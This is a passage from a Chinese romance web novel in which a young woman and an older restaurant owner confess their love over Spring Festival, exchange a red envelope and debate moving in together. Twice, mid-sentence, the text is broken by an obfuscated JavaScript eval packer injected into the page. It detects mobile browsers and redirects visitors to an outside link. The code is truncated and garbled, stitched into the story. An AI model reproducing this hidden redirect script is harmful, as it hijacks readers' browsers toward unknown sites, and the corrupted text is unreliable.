他的声音也开始颤抖,那颗跳动着的心脏在此刻被她狠狠攥在手心。他从来不知道她的那份心意如此坦率热烈,也不知道她一个人担忧了那么多问题。 此刻,他只觉得自己的懦弱在她面前是多么卑鄙,他的退缩和自以为是让他每一秒都如芒在背,他像一只搁浅的鱼,差一秒就要干死在岸上。 “嘉嘉,对不起……对不起……” 他再次握住她的肩膀,想要立马弥补些什么。因为,光是看到她脸上的破碎,他就觉得心里酸得发疼。 他想用力地抱住她的身体,证明自己就陪在她身边,可她再次笑笑,继续说:“你不要对不起,我只是想告诉你,那些天我真的很困惑。” “因为你总是对我忽冷忽热,我很迷茫,甚至是有点伤心。” “我好想知道你的态度为什么总是在变化?可是我不敢问你,因为我知道,你已经过了那个会为谁怦然心动的年纪,你不会像我一样,因为谁的一句话就感到开心,或者难过。你不会再有那么明显的情绪起伏,你也不会再相信什么类似于‘恋爱’的谎言。” “可是,可是……” 一滴泪水夺眶而出,划过她的嘴角时,她多么坦诚地告诉他:“可是我会。我每次看到你都觉得心动,我控制不住自己的心跳,我控制不了要喜欢你,我不能就因为你说那只是错觉就不喜欢你了。” “这些你都不知道,你什么都不知道,却总习惯反驳我,就像你什么都知道一样。” “对不起,对不起,对不起嘉嘉。”李成杨猛地抱住她,用尽全身的力气拼命地抱住她,好像那样就可以捡起她碎掉的心脏。 他喉头发涩,眼眶也开始泛红:“对不起,那个时候是我太自以为是,是我没有看清楚自己的心意,是我在害怕。” 女孩哽咽,一边哭一边问他:“你,为什么要害怕?” 他感受到她的泪水浸湿了他的胸口,声音止不住颤抖:“一开始……我只是害怕自己因为你,失控。那样的感觉太陌生了,久远到我已经忘了在乎一个人是什么感受。” “我总觉得自己比你大那么多,就应该像长辈一样照顾你,所以当我察觉自己对你有了不一样的心思时,我觉得那是不可能的、是应该被绝对禁止的……” “可是,等到这种心思已经不能被纠正,彻底偏离轨道的时候,我又开始害怕自己不能对你负责。我开始在意自己的年纪和我们之间的差距……我没有自信,也不敢承担后果,所以我的拒绝更像是一种,一种……逃避。对不起,那就是逃避,是我太懦弱。” “然后呢?”何嘉自己抹了一把眼泪,想要尽量平静地问下去:“既然这样的话,你后来为什么突然来找我,又为什么默认我对你的靠近?” 李成杨咽下苦涩,用近乎虔诚的语气告诉她:“因为看到你真的对我冷漠,哪怕就那么一丁点儿,都让我感到失落。虽然你只是不像以前一样和我说话了,但我整个人都觉得失魂落魄。” “我以前认为孤独才是人生常态,也总是习惯孤独,但你出现之后,我就觉得自己再也无法忍受寂寞了。你是这世上第一个会关心我、问我累不累的人,你也是这十年里,让我第一次觉得自己还真实存在的人。” “是我太笨了,直到那个时候才发现,我生活里所有的色彩都是你施舍的,如果没有你,就会变得黯然失色。” 何嘉从他怀里出来,呆呆地望着他,试着辨别他话里的真实性,而他用力地握住她的手,用一种极度郑重地语气对她说:“嘉嘉,你说得对,我已经不会再为谁怦然心动,也不会因为谁的一句话就变得开心或难过。” “但是,你让我会了,你明白吗?” 她摇头,不敢置信。 他替她擦干泪水,一字一句为她解释:“只有你,只是你,让我又找回了那种感觉。那种为你雀跃,无时无刻都想要待在你身边的心情。” 她还是摇头,泪一滴,落在他手上,烫在他心上。 他的手指抚过她的脸颊,决定呕出心底最深的秘密:“何嘉,我想和你在一起,我想一直待在你身边,我想成为你的依靠。不仅如此,我还想带走你的悲伤,让你的世界只剩下幸福。你愿意给我一个机会吗?” ——“你愿意,给我一个机会让我参与你的生命吗?” ——“你愿意,给我一个机会让我来爱你吗?” 时间静止,所有的沉默都被拉长。 好奇怪,何嘉竟然能在他脸上看到永恒的颜色。 两颗心脏疯狂跳动,刹那间,窗外爆发出接连不断的烟花声响,世界从此在五彩斑斓中沉溺。 这一刻,他们什么都不知道,只知道眼前人,是世上仅此一个。 何嘉弯了弯嘴唇,又一滴泪水划过指尖。 这次是因为幸福。 “我愿意的。我愿意的。”她凑到他耳边呢喃,语调还带着刚才的鼻音。 李成杨一下子把她抱在怀里,手掌因为紧张还在发热。他的心脏猛跳,好怕再晚一秒她就会后悔。 “嘉嘉,谢谢你。” “嗯。” 窗外的烟花还在燃烧,每朵都是不同的颜色,何嘉看见璀璨落在他身上,不禁朝他微笑,而他蹭了蹭她的头发,什么都没有说。 41. 第41章 这是2018年的春节时刻。 世界喧嚣,他们安静地相拥。 两座孤岛,终于在岁末交替的时候连城大陆。 这场景,何嘉从来都没有想过。 就像是一个梦境,一场浮华,让她心尖泛酸的同时感到满足,只有李成杨的体温源源不断地传到她身上,让她知道,这一切都是真的。 过了半晌,李成杨在她耳边试探:“嘉嘉,现在,我们算是那个关系了吗?” 何嘉想到白天说过的话,一下子笑了出来:“算,你现在就是我的那个谁啦。” “你的哪个谁?你说清楚好不好?” “就是,我的男朋友。” “嗯。”他用脸贴了贴她的脸:“是你的男朋友。” 她顺势亲了亲他的脸颊:“我的,何嘉的,男朋友。” “既然都是你的男朋友了,你就只亲脸?”李成杨眼神直白地看着她:“你不想亲点别的地方吗?” 她故意偏头,装作听不懂:“亲完了呀,你快看看外卖到哪儿了?” 他一笑,捧住她的脸缓缓凑近。 何嘉心脏猛跳,一时间头晕目眩,不知道是今晚信息量太大还是太高兴了,她竟然下意识捂住了他的嘴巴。 李成杨三个问号。 “我都是你的那个谁了,还不能亲?” 她飞速眨眼,试着编一句解释的话,但好像什么都说不出来,于是主动踮脚想亲亲他的脸,奈何身高不够,她只好将嘴唇凑近他的喉结。 在上面落下轻轻的一吻。 他喉结滚动几下,眼神突然变暗。 小姑娘并不知道这个举动会带来什么样的后果,只是弯着眼睛对他笑。 此时铁门传来一阵敲门声,有人喊道:“外卖到了——” 何嘉正要转身去拿,却被李成杨拉住手腕,她感觉他的体温一直在升高。 她有些不解:“可以拿外卖啦,你干嘛拉着我?” 他嘴角一扬,“现在不是拿外卖的时候。” “那现在是什么时候?” “给你盖章的时候。” “啊?” 她还没来得及问,李成杨就抓着她的腰把她禁锢在怀里,忽然对她坏笑一下,嘴唇贴上她的脖子。 炽热的呼吸打在她的脖颈,他一点一点舔舐她颈间的皮肤,想咬却又舍不得用力,于是慢慢碾磨,不断摩擦她的神经。 何嘉没有这样的经历,只觉得那块皮肤传来一阵酥酥麻麻,让她有些难以喘息。 他的动作还没停,垂眼间不忘观察她的表情,直到她红着脸“嗯”了一声,他才在上面狠狠一吸,留下一个明显的红痕。 “很好。”他满意地看了看自己的作品,接着说:“扯平了。” 何嘉眼神迷蒙,傻傻地摸了摸那块皮肤,发现上面还残存着一点湿润。 “这个?嗯?嗯?” 她一下反应过来他做了什么,红着耳朵嗔怒:“你干嘛!我们才刚确定关系,你怎么能对我做这样的事?我这几天还要去养老院呢,你这样让我怎么见人?你还是那么讨厌!” 他不接招,反而指着自己的脖子声声引诱:“那你再给我吸一个?上次那个颜色都有点淡了,你再吸一个解解气吧?” “不要!”何嘉一把推开他,说:“你羞不羞?你都多大了还总说些没皮没脸的话?” 他心情大好,把她圈在墙上说:“羞什么?你不知道年龄越大的人越没有羞耻心吗?” “我饿了,我想吃饭。”她想勾起他的同情心。 可他直接无视,将脖子凑到她嘴边,“再来一个,乖。” 何嘉咬咬下唇,知道要是不满足他的话,他应该是不会放她走了。 于是贴上他的颈部,在靠近肩膀的地方吸了吸。 根本没有什么力气,连痒都没感觉到。 “用力。”他催促,并提醒,“你不是不知道怎么吸。” 她脸颊刷红,想到那个晚上她是如何在他脖子上发狠的。 再凑近他的脖子,一股咖啡香味扑面而来。 她突然问:“你为什么要买咖啡味的沐浴露啊?” 他嫌她问题多,直接把她的脸压在身上,“快点。” 好吧。 何嘉这次先舔了舔,然后在他颈间重重地吸了一口,又怕力气还是不够,在同一个位置吸了两次。 “好了。”她看到那里已经变成嫣红,像完成工作一样报告:“可以了,已经盖好了。” 他低头看她,眸子黑得不像话。 再开口讲话的时候语气低沉:“下次,不许亲喉结。” “为什么?” “因为,那样会让我干想干的事情。” “你想干什么?” 何嘉刚问出口就想到,早上的时候他们已经谈论过这个问题,画风一向是不可描述。 然后她立马调转话题:“好了好了,刚才说的都不是重点,我告诉你个重点。” “什么?” “就是……以后盖章都不可以在脖子上。” “为什么?” “因为脖子上有大动脉,吸重了的话可能会休克还会死,很不安全的。我那晚是忘记了才吸在那里的,以后都不能再这样了。” 他饶有兴致:“那你说可以吸在哪里?” “我也不是很清楚哪里安全,以后可以查一查。 “不用查。”他凑到她耳边说:“可以种在肩膀、锁骨,还有……” 剩下两个字说得极轻,但让她一下炸毛,羞得整个头都变红。 “李成杨!我不理你了!” 说罢,狠狠捶他一拳,扭头就往门口去拿外卖了。 而他美美站在原地,对刚才发生的一切十分满意。 今晚这顿火锅,何嘉吃得气呼呼的,李成杨一边给她涮牛肉一边哄她:“乖乖,还生气?” “你不许叫我乖乖。” “那,嘉嘉还在生气?” “你不许叫我嘉嘉。” 他笑了:“你不许的还挺多。不许我喝酒,不许我笑,不许我称呼你,还不许什么?” 她眼睛一转:“不许你乱说话。” “我乱说什么了?” “就,你刚刚说的……” “我刚说什么了?我只是说了一个很正常的人体器官,那也算是乱说话?” 何嘉瞪他一眼,他见好就收:“这个事情以后再说,现在我有别的事情跟你说。” “什么?” 他看了眼时间,已经接近十一点。 “本来想初一的时候再给你,但是现在也差不多。”他摸了摸口袋,掏出一个红色的信封:“给你的过年红包。” 何嘉吃惊地接过它,发现它的厚度超乎了她想象,甚至连一个大号红包也有些放不下。 “这,这是多少钱?” 他杨扬下巴:“你自己数一数。” 她在震惊中点了点张数,……95、96、97、98、99、100。 是一百张一百块! 何嘉猛地看向他,眼里满是惊诧:“你,你怎么包这么多给我?” 他很淡然:“不多,给你的话一点都不多。” “可是我没有给你准备红包。”她瘪嘴,有点后悔:“我当时取钱的时候应该给你也准备一个。” 他不赞同,捏了捏她的脸:“我多大你多大?我收你的红包害不害臊?” “可是我都二十二了,也可以收红包吗?” “小朋友怎么不能收红包?” “二十二也算小朋友吗? “嗯。”他吻了吻她的脸,“你在我眼里永远都是小朋友,永远都是可以收红包的年纪。” 她鼻酸,又想掉珍珠了,“李成杨……你这样让我更喜欢你了。” 他指尖轻抚她的眉眼,温声说:“那就再多喜欢我一点吧。” “好。” 何嘉收好珍珠,拿着红包很快就乐开花,忍不住和他说:“和阿婆分开之后我就再也没有收到过红包了。那会儿还是小孩,每年想要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17364423|197793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红包的时候都没人给,现在长大了,就没有那么想要了,但你突然给我一个,我就发现,只要是人都会想要红包的啊。” 他问她:“这样么?那你还有什么想要的吗?” “我也不知道诶。” “没事,慢慢想。”李成杨用食指点了点她的梨涡,“以后你想要什么,你就会拥有什么,因为你现在有我。” 怕她听不明白又继续补充:“流星可能听不见你的愿望,但我会,所以你可以向我许愿。凡是我能做到的,一定会满足你。” 何嘉感动地点了点头,在他脸上轻啄几吻,接着从红包里抽了几张出来,很坚持地递到他面前,“这个你先拿着好不好,就当是我给你的红包,明天我再取点钱把你给我的红包填上。” 他想了想,只抽了其中一张,“那我只要一张,以后的每一年都只要一张,多的我不会要。” “好,我记得了。” “嗯。”他拍拍沙发旁边的位置,示意何嘉,“坐到这里来。” 她起身朝他靠近,还没坐下去就被他一把拉在怀里,如同那天夜里一样伏在他身上。 “你又想做什么?”何嘉咕哝一句,眼神黏在他嘴角那颗小痣上。 李成杨的手掌攀上她的后颈,很自然地说:“亲你。” 接着一个温热的吻落在何嘉的唇瓣上,这次非常温柔,只是轻轻缠绵,没有任何越轨的举动,就像在品尝一颗甜蜜的糖果。 她感觉很好,非常喜欢他的触碰,心里甚至有种痒痒的感觉。 “李成杨。”她叫他的名字,问他:“你刚才都没有说喜欢我,你为什么不说?” 他不想说话,又要去寻她的嘴唇,但她固执地往后退,脚趾无意识擦过他的小腿。 “嘶——”李成杨眉头皱成十字,脸上闪过疼痛的神色。 何嘉连忙从他身上下来,很担心:“碰到你的伤口了吗?对不起。” “说什么对不起?又没多大事。”他将她的脑袋放在脖颈处,“不要对我说对不起,以后都不要说。” 她还是过意不去:“可是我觉得很自责,你脚上的伤是因为救我才划到的,都那么久了还没好。” “没关系,救你是我该做的事情。至于没好,主要是我个人煽风点火。” “什么意思?” 他舌尖划过上颚,语气神秘:“一开始确实忘了消毒,但后来想起来就故意没管。” 她很迷惑:“为什么要这样?” “因为,我赌我们嘉嘉会在乎我,不会不管我的。” “所以你是任由它感染然后博取我的同情?” “算是吧。” “你是不是疯了?” 何嘉一下子有点生气:“我什么时候不在乎你了?你干嘛非得用这种要命的方式?你知不知道在医院的时候我有多担心你?” 李成杨说:“我当时不知道,以为我们嘉嘉不管我了。” “那你也不能拿你的命开玩笑!你要是感染死了怎么办?你都不知道我那天真的特别害怕,我怕你真的会死掉,还是因为我死掉……” “我知道了。”他蹭了蹭她的头发,“原来嘉嘉那会儿凶我是因为在意我,那多凶几次,感染一下也没什么不好。” 她坐起来,用双手捧住他的脸,语气严肃:“你以后都不可以这样了,你听到了吗?你这样我真的会害怕,我害怕你真的出事。” “我不会了。”他亲了亲她的嘴角:“以后都不会了,你别怕,我一定不会死掉,一定会一直陪在你身边。” “嘘。”她用食指抵住他的嘴巴,“好了,我们都不要说那个字了,大过年的再说那个字一点都不吉利。” “好,那我们说点别的。” 她指了指火锅:“锅底都要烧干了,们还是吃饭吧。” “嗯,那就先吃饭。” “不对。”她想到什么,“你刚刚还没回答我,你怎么不说喜欢我?” 李成杨朝她隐秘地眨了眨眼,“因为说了之后,有些想法就控制不住了。” 42. 第42章 那天之后,何嘉和李成杨一直待在安城。 李成杨申请了这十年以来的第一个年假,加上春节假期一共将近二十天。 他们每天都会一起去看王丽琼,她大部分时间都在沉睡,少数时候醒着,他们就轮流和她说说话。 老太太就快就到末尾,但状态一直稳定,这让何嘉稍微放了心,情绪一直不错。 这么些天一直是李成杨在做饭,何嘉本来提出要承担洗碗的责任,但他说她以后都不用做这些,就安心接受他的照顾就好。 一开始她有点不好意思,但时间久了之后就变得心安理得了,竟然还得寸进尺地指挥他:“李成杨我要吃土豆烧肉,李成杨你帮我把虾都剥了,李成杨你把那个花盆移到阳台上去……” 李成杨对此乐此不疲,只是忍不住问她:“你怎么老叫我‘李成杨’?” “你不是就叫‘李成杨’吗?我不叫你名字叫你什么?” 他不赞同:“你不能叫个昵称?我叫你‘乖乖’和‘嘉嘉’,你该叫我什么?” 她想了想:“那我叫你‘杨杨’?” 刚说出口就忍不住笑了,“你都多大人了我还叫你‘杨杨’?你自己听着不觉得别扭吗?” 李成杨想想也觉得是,“那算了,就叫名字吧。” “对的,还是名字最好。”她补充:“我就喜欢叫你的名字,你以前都不许我叫呢。” “好,叫吧。” “李成杨,我还想吃香肠,你下去买一点。” “……” 算算时间,两人在安城待了快一个月,直到李成杨的假期只剩下最后一天,他们又去看了一次王丽琼,顺便和林桂兰聊聊天,之后便决定回余川。 那时候已经是开春的时节。 何嘉在高速上睡了好几觉,醒来倏然想到一个问题。 “李成杨,饭店是不是早就开张了?” 他点头:“放完春节就开了。” “啊?那我们同时不在,你怎么跟张姨他们解释的?” “没怎么解释。” “那他们没问吗?” “问了。” 她着急,“那他们怎么问的啊?” 李成杨打了个哈欠,说:“主要是问你怎么没去,是不是不干了。” “那你怎么说的?” “我说是。” “嗯?你为什么这么说?我没说我不干呀。” 他看了她一眼,“你现在是我对象对吧?” “是的。” “我是谁?” “李成杨。” “啧,我是说我是饭店的什么?” “老板。” “嗯。”他向她认真解释:“你是我对象,就不能在我店里上班了。我没有那么恶毒,让你又当我女朋友又给我上班。” 她不懂,“可是那样的话,我就要重新找个工作了,我还想存点钱读研呢。” “这个有我,你不用管。” “什么?” “我说,我会供你读研。”他又说,“读研的费用我会承担,剩下的时间你可以去找个实习,自己把钱存在手上不要动。” 何嘉呆住,像是听不懂他的话一样,问他:“你要给我交学费?可是那是我读研啊?” “我知道。” “可是,我们才刚在一起你就要供我读书?” “嗯,是这样。” “不是。”她转向他,满脸迷糊:“你为什么要供我?要花很多钱的,我又还不起,那样的话你太吃亏了。再说了,到时候我可以申请补助,你不用供我的。” 李成杨握住她的手,语气诚恳:“我哪里吃亏?我比你大那么多,是我占你便宜才对。人总不能既要又要,还是得付出点什么,给你出钱只是其中最直接的选项。” 何嘉摇摇头,还是觉得不行,“不可以,这样不好,万一我们以后分手了怎么办,那样你就人财两空了。” 他失笑,两个酒窝若隐若现,“我的乖乖,人财两空倒不至于。重点是我比你大十岁,我一个老男人享受了你的青春,肯定是要相应地补偿,所以你大可以理所应当地接受,毕竟那是我应该付出的。” 这话说得直截了当,让何嘉觉得确实很有道理,但还是担心:“那如果我们分手了,你不会找我把钱要回来吧?” “不会分手。”李成杨捏了捏她的手指,表情严肃,“不会分手。难道你对我没有信心?” “还是,对我们没有信心?” 何嘉说:“不是的,我只是有这样的一个假设,我就是说万一,万一我们分手了,你会那样对我吗?当然我不是说我们会分手噢。” “那也不会。给你用的就是给你用的,哪有收回来的道理?投资都知道有风险,这事儿也同样没有要回来的理由。” “况且,那样还算男人吗?”他似嘲讽般轻嗤,“反正我是没脸做出这么没品的事。” 何嘉一听这话高兴得合不拢嘴,凑到他身边巴巴地盯着他:“成杨哥哥,你怎么对我那么好呀?” 他轻笑:“你是我的那个谁,我不对你好我要对谁好?” “可是你对我有点太好了,你给我做吃的,给我买衣服,给我发红包,还要供我读书,我有点受宠若惊了。” “你忘了那天我说过什么了?” “什么?” “我说,我想陪在你身边,成为你的依靠。” 他继续说:“但如果你想成为自己的依靠也很好,我只是想陪在你身边,成为你身后的那个人。 至于怎么成为,我能想到的就是让你不用再去担心那些生活的琐事,能去做你真正想做的事。” “李成杨。”何嘉反手握住他的手,不断在他手上摩擦,“谢谢你。遇见你之后我总是觉得很感谢,我就在你怎么那么好呀,让我无时无刻都想落泪。” 他心脏一下软下来,温声道:“不要落泪。只要你觉得高兴就好。” “嗯,我很高兴,和你待在一起的时候我总是觉得特别开心。” “那就好。”他亲了亲她的手背,想到另一个问题:“今天回去之后你住哪儿?要不要我给你重新租个房子?” 这她还真没想起来,如果不在饭店上班的话,好像也没什么理由住那里了。 不过这样正好,她狡黠地朝他微笑:“我可以住你家吗?” 他皱眉,“不行。” “为什么,之前的时候都可以。” “那会儿只是住两天,以后的话就是长期住了。” “为什么长期住不可以?” 李成杨不知道她是真不懂还是故意问,有些迟疑地说:“你现在就跟我同居,对你不好。” 何嘉歪头:“哪里不好?” “哪里都不好。” “我觉得挺好,这样每天都可以见到你了。” “不好。”他很正经,“你还是小姑娘,同居之类的真的不好。” “到底哪里不好了?” 他沉默半刻,问:“你知道同居意味着什么吗?” 何嘉哪里不知道,她也不是那么单纯的人。 她很淡定地回答:“意味着住在一起,睡在一起,该发生的都会发生,特别是那种事情。” 他没想到她会这么直接,但还是强调:“你还年轻,现在做的选择大多仓促,等你成熟的时候再看,有可能会后悔。所以你不用那么快就做出决定,这个话题我们以后再说。” 她却很执拗地看着他,“李成杨,你是清朝人吗?” “什么东西?” “我感觉你比我要保守一点。” “不是,我跟你说正经的呢。”他拍拍她的脑袋,再次解释:“这不是保不保守的问题,是,有些事情不应该那么草率地发生,你知道吗?” 她不理解:“可如果发生的对象是你呢?” 他叹了口气,“是我也不能那么草率。” “可是,我就想和你那个……我只想和你那个呢?” “咳咳——” 李成杨被何嘉这话呛到,完全没预料到她这么直白,“你说什么呢?” “我就是实话实说。”何嘉在他掌心挠了一下,“你又不是不知道,我一直都对你……” “对我什么?” “对你心怀不轨。” “别乱说。” “我没有乱说,其实那个晚上我就想了。” “……” “就是偷袭你那天,你亲我的时候,我就想了。你不记得了吗?你当时还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17367010|197793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为这个凶我了。” “……” “何嘉。”他眉心发痛,是真的不知道她能面不改色地说出这种话,“想不代表要做,时间还很长,我们后面再说好吗?” 小姑娘咬咬嘴巴,“那我以后想的时候怎么办?” “别想。” “不行,我会想的,而且,你明明也很想,不然你那天洗澡的时候怎么会那样。” “……” 就说这么几句话,李成杨被她噎了好几次,他这下真有种开盲盒开到隐藏款的感觉。 以前看上去那么腼腆的姑娘,现在竟然那么口无遮拦,甚至让他都有点不知道怎么办了。 “乖乖。” 李成杨努力平静地对她说:“我们互相喜欢,所以想要变得亲密是很正常的,但是不能那么快,这是需要一点时间的。” “我知道。”何嘉转回原来的话题,“可住在一起不代表就会发生什么,我觉得我还是可以和你住在一起的。” 他扶额,“你是在考验我还是在考验你自己?” “嗯……我经得住考验。” “我经不住考验。” “那你经得住一下。难道你不想每天都看到我吗?” “我想,但不是以这样的方式。” 何嘉闷在靠背上不说话了。 有一点不高兴。 李成杨一边打方向盘一边留意她的表情,最终决定狠心一把,略过这个话题。 但何嘉忽然坐起来对他说:“我们不住一个房间可以吗?你不是有书房嘛,再买一张床给我用就好啦。而且你平时上班那么忙,见到我的时间也没有多少。” 他还是没退步,眼睛盯着高速没有转头。 何嘉有点恼了,气鼓鼓地对他说:“李成杨你这样搞得我好像上赶着一样!我就是想天天见到你而已嘛!至于什么想不想的,那不都是很自然的事情吗?感情到位了发生了就发生了,没什么不可以的。 况且你另外给我租房子又要花钱,你这段时间才在我身上花了不少钱,我怎么好意思接受?” “我不是那个意思,”李成杨轻叹一口气,又去拉何嘉的手,“我只是对自己不自信。我怕你以后觉得,和我在一起后悔。” “我不会后悔。”何嘉郑重地凝视他,“你是除了阿婆以外对我最好的人,和你在一起我永远都不会后悔。” “真的吗?” “真的。” “那就好。” 何嘉怕他又拒绝,立马接着问他:“所以我现在可以住你那边了吗?” 他还是没回答。 她急了,一个劲儿保证,“我不会对你做什么的!真的,你觉得太快了我也觉得,你要相信我,我真的经得住考验。而且我也相信你,你不是那种经不起诱惑的人!” “……” 相信他?相信一个男人?? 这姑娘,到底知不知道自己在说什么…… “唉。”他默了默,觉得太阳穴痛,“你真的要住我这儿?” 她眨巴眨巴眼睛,点头:“真的。” 他又陷入沉默,何嘉戳戳他的手臂,“可以的,可以的,可以的。” “我觉得还是……” 她死死盯着他不让他继续说。 “要不……” 唉。他揉了揉脑门,最后心情复杂地说:“那以后你睡卧室,我去书房,没事不能串门。” “好耶。”这次换何嘉与他十指相扣,朝他露出一个灿烂的笑,“我就知道成杨哥哥对我最好了。” 李成杨无奈地摇摇头,耳朵不经意间攀上一片绯红。 何嘉将那抹颜色尽收眼底,却没打趣什么,反而提醒他:“那等会儿到余川的时候先去饭店,我想拿一下我的东西。” “可以。” “那我们拿完东西要不要逛一下商场?去给你买张床。” 他说:“不用。书房的沙发可以放下来,我有时候也会睡那里。” 她很疑惑:“你睡觉不挑床吗?” “不是很挑,累了哪都能睡。” “这样啊,难怪你之前说有时候会去饭店休息。” “嗯,那是下班太晚了,懒得再回家一趟。” “好吧。” 43. 第43章 “对了,我还想起一件事。” 何嘉看到车窗外的街景越来越熟悉,饭店那几个“老李现炒”的大字已经伫立在眼前。 “你说。”李成杨把车停在路边,准备去解安全带。 何嘉按住他的手,说:“我们该怎么解释我们的关系?” 他抬眼,不理解:“还能怎么解释?该是什么就说什么。” “但是,我觉得有点尴尬。” “怎么尴尬?”他还是解下安全带,转身向她,“难道我是什么拿不出手的人吗?” “不是不是,”她忙摇头,脸颊有点红,“我只是觉得,我们没多久就……就,就成了那个关系,让他们知道有点尴尬。” 他笑了,悄悄告诉她:“你以为他们什么都不知道?你对我那点儿心思,除了自己觉得瞒挺好,其他人、包括我,早知道了。” “!”她吃惊地看着他:“你们怎么知道的?” “太明显了。” “哪里明显了?” 他勾唇:“你见过几个员工老追着人问老板回不回来?” 她不认输:“那也可能是为了督促你发工资。” “那不对。主要是,你看我的眼神,就和别人不一样。” “哪里不一样?” 李成杨忽然安静下来,紧盯她的眼睛,眼神无比闪烁,还带着一点细小的期待,就像是看见流星一样。 何嘉被他看得有些害羞,扭过头嘟囔道:“你别这样看我。” “怎么?你以前就是这么看我的。” “真的有这么明显吗?” “真的。” “那你知道我为什么这么看你吗?” “为什么?” 何嘉告诉他:“因为喜欢一个人的时候,看他就像是在看星星一样。你以为我是因为你才眼神明亮,但其实,你才是那个点亮我的人。 “我眼里的星星是你。” “你怎么……”李成杨一下蒙住眼睛,不想给她看自己的表情,“你怎么总能说出这么好听的话?” “那不是好听的话,那只是我内心的真实想法。” 他感觉眼睛正在发烫,心脏不停为她欢欣雀跃。 “我真是……真是败给你了。” “嘿嘿。”何嘉拿开他的手,调皮地去寻他的眼睛,“你害羞了吗李成杨?” 他又蒙住她的眼睛,音调别扭:“你别看。” “好吧,那你就小小地害羞一下吧。” “……嗯。” 过了半晌,他呼出一口气,在她身边说:“这样不行。你别老撩拨我,我心脏有点受不了。” 何嘉一脸无辜,“我怎么撩拨你了?我们刚才明明在聊一件很重要的事情。我有一个小小的提议,就是,要不我们先别公布关系,好不好?” “为什么?” “我还没有适应呢。”她拉着他的手臂扭来扭去,“而且大家肯定会问的呀,我不知道怎么说才好嘛。我们先悄悄地维持一段时间好不好?好不好嘛?” “好好好。”面对她的撒娇,他更是无力抵抗,“你想怎么样都可以,我全都听你的。” “嗯!”何嘉指了指门外,“那我先下去,你等会儿再来好吗?” 李成杨点头,“去吧,我隔一会儿再进去。” 就这么说好,何嘉先走进饭店,一进门发现今天店里除了张壅坐在吧台玩手机,其他人都不在。 她问张壅:“壅哥,怎么只有你一个人啊?其他人呢?” “哟,小嘉?”张壅看到她回来了,很稀奇地放下手机:“还以为过完年就看不见你了呢!你说其他人啊?蒋姨她们被我妈带着去领什么社区鸡蛋了,好像说是免费,具体干啥我也不清楚。” “这样哦,”她指了指楼梯的方向,“我后面确实不来了。现在上去拿一下二楼的东西。” “那行,你去吧。”张壅拿起手机刷了几秒,突然转头问她:“哎,你最近和杨哥联系没?他都快一个月没来店里了,不知道他最近在搞啥。” 何嘉听见“杨哥”两个字,心脏一颤,像做贼一样往外瞟了一眼,发现李成杨还没出来,才放心回答:“我也不是很清楚,我应该也有好一阵没看到他了。” “行吧,不管他了。”张壅点开游戏,不再关心他们的事情。 何嘉默默吐出一口气,往原来的房间走。 房间里的陈设和那天离开的时候一模一样,就连床单上的褶皱都没有任何变化。 那天,李成杨就是在这里发烧的。 当时她还担心得不行,谁知道某人后来告诉她,他是故意准备这么一出。 想到这儿,她摇着头笑了笑,开始打包自己的行李。 何嘉的东西本来就不多,除了电脑和一点生活用品,就只剩那床李成杨带给她的被子。 她把零碎用品装进一个袋子,打算先把这堆东西移出去,再思考怎么解决这床被子。 于是她一手电脑,一手袋子,非常轻松地走向台阶,准备下楼。 但不巧的是,楼梯才下了一半,她就听见两个熟悉的声音回荡在一楼的大厅里。 “你今天怎么过来了?我刚还问小嘉最近见过你没有嘞。”这是张壅的声音。 “有事,回来看看。”这是李成杨的声音。 什么? 谁让他现在就进来的! 何嘉抓着东西猛地蹲在台阶上,十分迅速地掏出手机给他发消息:【你怎么现在进来了?】 他忙着和张壅说话,根本没看手机。 何嘉又急忙站起来,朝他的方向疯狂摆手。 李成杨余光瞥到她,没看懂她什么意思,这是在给他打招呼? 不是说,先不要让店里人知道他们的关系么? 那还打什么招呼? 他很困惑,一直有意无意地往她的方向瞟,想探究她到底是什么意思。 何嘉用气音“啧”了一声,急得在原地团团转。 这个李成杨,难道瞎了吗? 让他快走他怎么还看来看去的? 大概是他的目光有些明显,张壅忽然也转头去看楼梯的方向。 只见何嘉一下子蹲在地上,扶手将她隐去大半,只留下一个毛茸茸发顶。 张壅:“?” 他转回来看了眼李成杨:“你们这是?躲猫猫?” 李成杨尴尬地笑笑:“不是。可能太久没见,有点生疏。” 张壅还是:“?” 何嘉叹了口气,心想算了,现在也没什么躲的必要,还不如大大方方地走出去说几句话。 她提着手上的东西走到他们面前,装作礼貌的样子对李成杨说:“老板,好久不见。” 李成杨陪她演戏:“嗯,是挺久的。” 她硬着头皮继续搭话:“那个,老板你春节过得怎么样?” 他说:“挺好的,还不错。嗯……你呢?” “我也还可以,挺好。” “嗯,挺好。” …… 尴尴尬尬,没话硬讲的氛围。 在场的三个人都陷入沉默。 张壅虽然没说话,但视线一直落在他们身上,想看看他们是不是被鬼附身了。 不然怎么都像人机一样奇怪。 李成杨和何嘉大眼瞪小眼,受不了这个诡异的气氛,主动问她:“你东西多不多,要不要帮忙?” “呃,还好。”她恨铁不成钢地看着他,似乎在说:你问这个做什么?你平时都不会问这些的! 可李成杨误以为她的意思是:快点说你要帮我,我们好尽快离开这个地方。 所以他接着说:“上去看看哪些东西不好搬,我顺便给你搬下来。” 